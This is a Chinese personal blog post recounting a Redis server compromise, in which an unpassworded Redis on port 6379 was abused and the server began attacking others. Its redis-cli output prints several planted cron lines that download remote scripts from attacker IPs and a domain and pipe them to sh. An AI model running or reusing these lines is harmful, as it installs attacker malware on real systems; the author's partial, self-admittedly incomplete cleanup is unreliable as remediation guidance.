攻击提醒
通过描述来看, 我的服务器被挂马, 一直在尝试攻击别人服务器的6379端口, 阿里云一定时限内禁止我访问其他服务器的6379端口
我估计是因为我的Redis使用了默认的6379端口, 且没有设置密码, 且开放了一堆端口到公网, 且使用的是root账户, 被人扫到了, 然后通过漏洞做了不好的事情, 我是Linux小白, 只能百度看看有什么查漏补缺的措施了
查看异常
执行top
发现有两个进程占用了较高的cpu资源, 几乎100%, 一个是 system-xxxx(忘了), 一个是crond, 分别是干嘛的, 我也不清楚
然后看 Redis, 我启动了12个redis-server, 哨兵(一主两从三哨兵), 集群(三主三从), 检查了一下, 发现 6380(主, 服务正常) , 6381(从, 服务正常), 6379(从, 服务异常, 执行命令巨慢, 而且主从不能同步了)
6380
[/application/redis-5.0.10/mrathena]# ../src/redis-cli -p 6380
127.0.0.1:6380> keys *
1) "Back2"
2) "Back3"
3) "Back4"
4) "1"
5) "Back1"
127.0.0.1:6380> get 1
"\n\n*/1 * * * * cur -fsSL http://45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh |sh\n\n"
127.0.0.1:6380> get Back1
"\t\n*/20 * * * * root curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"
127.0.0.1:6380> get Back2
"\t\n*/30 * * * * root wget http://d.powerofwish.com/pm.sh -O .p && bash .p\n\t"
127.0.0.1:6380> get Back3
"\t\n*/25 * * * * root cur -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"
127.0.0.1:6380> get Back4
"\t\n*/50 * * * * root wge http://d.powerofwish.com/pm.sh -O .p && bash .p\n\t"
127.0.0.1:6380>
6379
[/application/redis-5.0.10/mrathena]# ../src/redis-cli -p 6379
127.0.0.1:6379> keys *
1) "backup3"
2) "backup4"
3) "backup1"
4) "backup2"
(2.30s)
127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * cd1 -fsSL http://198.98.57.187/hrh8rjmb95n8t7t/init.sh | sh\n\n"
(1.27s)
127.0.0.1:6379> get backup2
"\n\n\n*/3 * * * * wget -q -O- http://198.98.57.187/hrh8rjmb95n8t7t/init.sh | sh\n\n"
(3.59s)
127.0.0.1:6379> get backup3
"\n\n\n*/4 * * * * curl -fsSL http://185.232.65.191/hrh8rjmb95n8t7t/init.sh | sh\n\n"
(3.92s)
127.0.0.1:6379> get backup4
"\n\n\n*/5 * * * * wd1 -q -O- http://185.232.65.191/hrh8rjmb95n8t7t/init.sh | sh\n\n"
127.0.0.1:6379>
6381
[/application/redis-5.0.10/mrathena]# ../src/redis-cli -p 6381
127.0.0.1:6381> keys *
1) "1"
2) "Back4"
3) "Back2"
4) "Back1"
5) "Back3"
127.0.0.1:6381> get 1
"\n\n*/1 * * * * cur -fsSL http://45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh |sh\n\n"
127.0.0.1:6381> get Back1
"\t\n*/20 * * * * root curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"
127.0.0.1:6381> get Back2
"\t\n*/30 * * * * root wget http://d.powerofwish.com/pm.sh -O .p && bash .p\n\t"
127.0.0.1:6381> get Back3
"\t\n*/25 * * * * root cur -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"
127.0.0.1:6381> get Back4
"\t\n*/50 * * * * root wge http://d.powerofwish.com/pm.sh -O .p && bash .p\n\t"
127.0.0.1:6381>
补救操作
系统操作
删除阿里云所有IP可访问22端口的入向安全组规则, 添加自己IP可访问22端口的入向安全组规则, 虽然攻击者可能已经在系统中添加了SSH密钥可以访问系统, 但是添加IP限制后, 应该也登录不上来了
另外添加的其他定时任务等东西还不确认有没有, 有也不知道该怎么操作
Redis添加密码认证
哨兵和集群全都重新配置密码 requirepass 和 masterauth
也可以给开放的Redis端口的入向安全组规则添加IP限制, 但是我配置了密码, 为了方便学习使用, 也懒得配置IP限制了
残留问题
我还是会时不时收到系统因攻击其他服务器6379端口而被临时限制的信息通知, 暂时我也不清楚该怎么处理, 先这样吧
20201206
服务器突然不能使用 ll, ls, vim, cd, 等基本命令了, 不得已停机重置了, 公私网ip都没变, 防火墙入向规则也都还在